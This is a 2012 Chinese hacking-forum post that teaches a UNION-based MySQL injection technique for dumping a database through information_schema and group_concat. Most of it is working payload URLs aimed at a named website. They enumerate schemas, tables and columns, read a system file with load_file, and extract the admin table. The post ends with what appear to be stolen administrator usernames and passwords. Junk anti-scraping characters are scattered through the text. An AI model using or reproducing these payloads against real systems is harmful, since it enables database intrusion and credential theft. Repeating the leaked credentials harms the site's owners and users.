找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2175|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似$ v  Y9 K4 V9 `" W6 ?+ a& l' G% C' K/ B
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人$ \0 P; T; k' v* u0 @+ S

7 n6 B$ d5 ?. i5 ]/ r7 O) m2 i# {: v$ _8 w" _& g! @9 R
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入  m: p) _8 U' t: g( d5 l* h
4 B+ `8 b4 ?( k  n8 K2 j$ P$ t
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
& _' h! H9 O* c3 y; E( T: f; x1 s/ Q! H) y2 P( n0 m5 G7 I. ~
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示+ [# K6 p+ C2 U/ o- y
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
5 z, S6 A1 W- E: i7 @: N1 v9 n: e
8 ?; F, o# }% ~) D+ Y: _http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,173 s; `& t. J+ q
( s8 c+ q1 l% r7 x/ ?: S$ j
读出所有库:+ }6 c8 N! `& d7 a* M- |% U) G
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA/ n, o$ j" R7 R+ z3 z& k6 H

' h) f8 g3 X+ E& I5 y; b  ~6 v' W4 R+ ]2 w1 p/ I
: X- c. i9 l" I1 U
读出所有表:2 K3 {" l) e0 S4 _3 G2 g3 G" E! R
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
: ?5 v% E% t* p; }7 D. W. T
- S: L& y3 D* e, z# W( K1 D读出所有表字段:
2 u8 _! d' X9 Yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
* u. U2 w. @* h, T  I% s* ?7 J*/ (97,100,109,105,110)为admin的ascii码 依次类推
& V. O$ N" U; U$ ]# g4 L; K7 t1 E0 q' v& `
读出所有表字段里的内容:
9 O$ M3 q8 j2 m9 f' yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
" T; \0 N, g7 G6 @! z* y) h; ?. z+ M$ R$ N) F# K

5 K* w6 D# T$ J& I/ q& b- e6 k2 b' ~) I# x0 M1 C

7 H1 S9 A  s5 q% D. u
* F( Y7 L& U9 c( J4 N8 r- I  S2 {& K4 N/ R5 Q' o5 {( k* i
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%230 x! h2 k  x! l  }6 A0 R9 Y( Q0 ~( {2 ?
' W1 Z) r; i, a8 a

( M# y8 Y3 G: V; }1 O' `7 \0 c  n9 a& Ehttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%234 ^$ s  n- @# c3 }* f# B) K" t9 u

6 |, X8 p; ]% e; X, L7 ehttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
; ]! a& N  q6 R! z9 @
) p; \/ ~* B' `. h- L9 e5 L
; G1 }. }& D' }# q" L# _& A) phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%231 O  }- {. t3 E6 i3 _$ l

* K: v$ z* G8 g$ m5 {' _8 R+ P% [5 J# b) I. U! ~8 X
        webmaster:dzb521123,simlab:simadmin200432330 r$ ~3 l$ O' K5 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表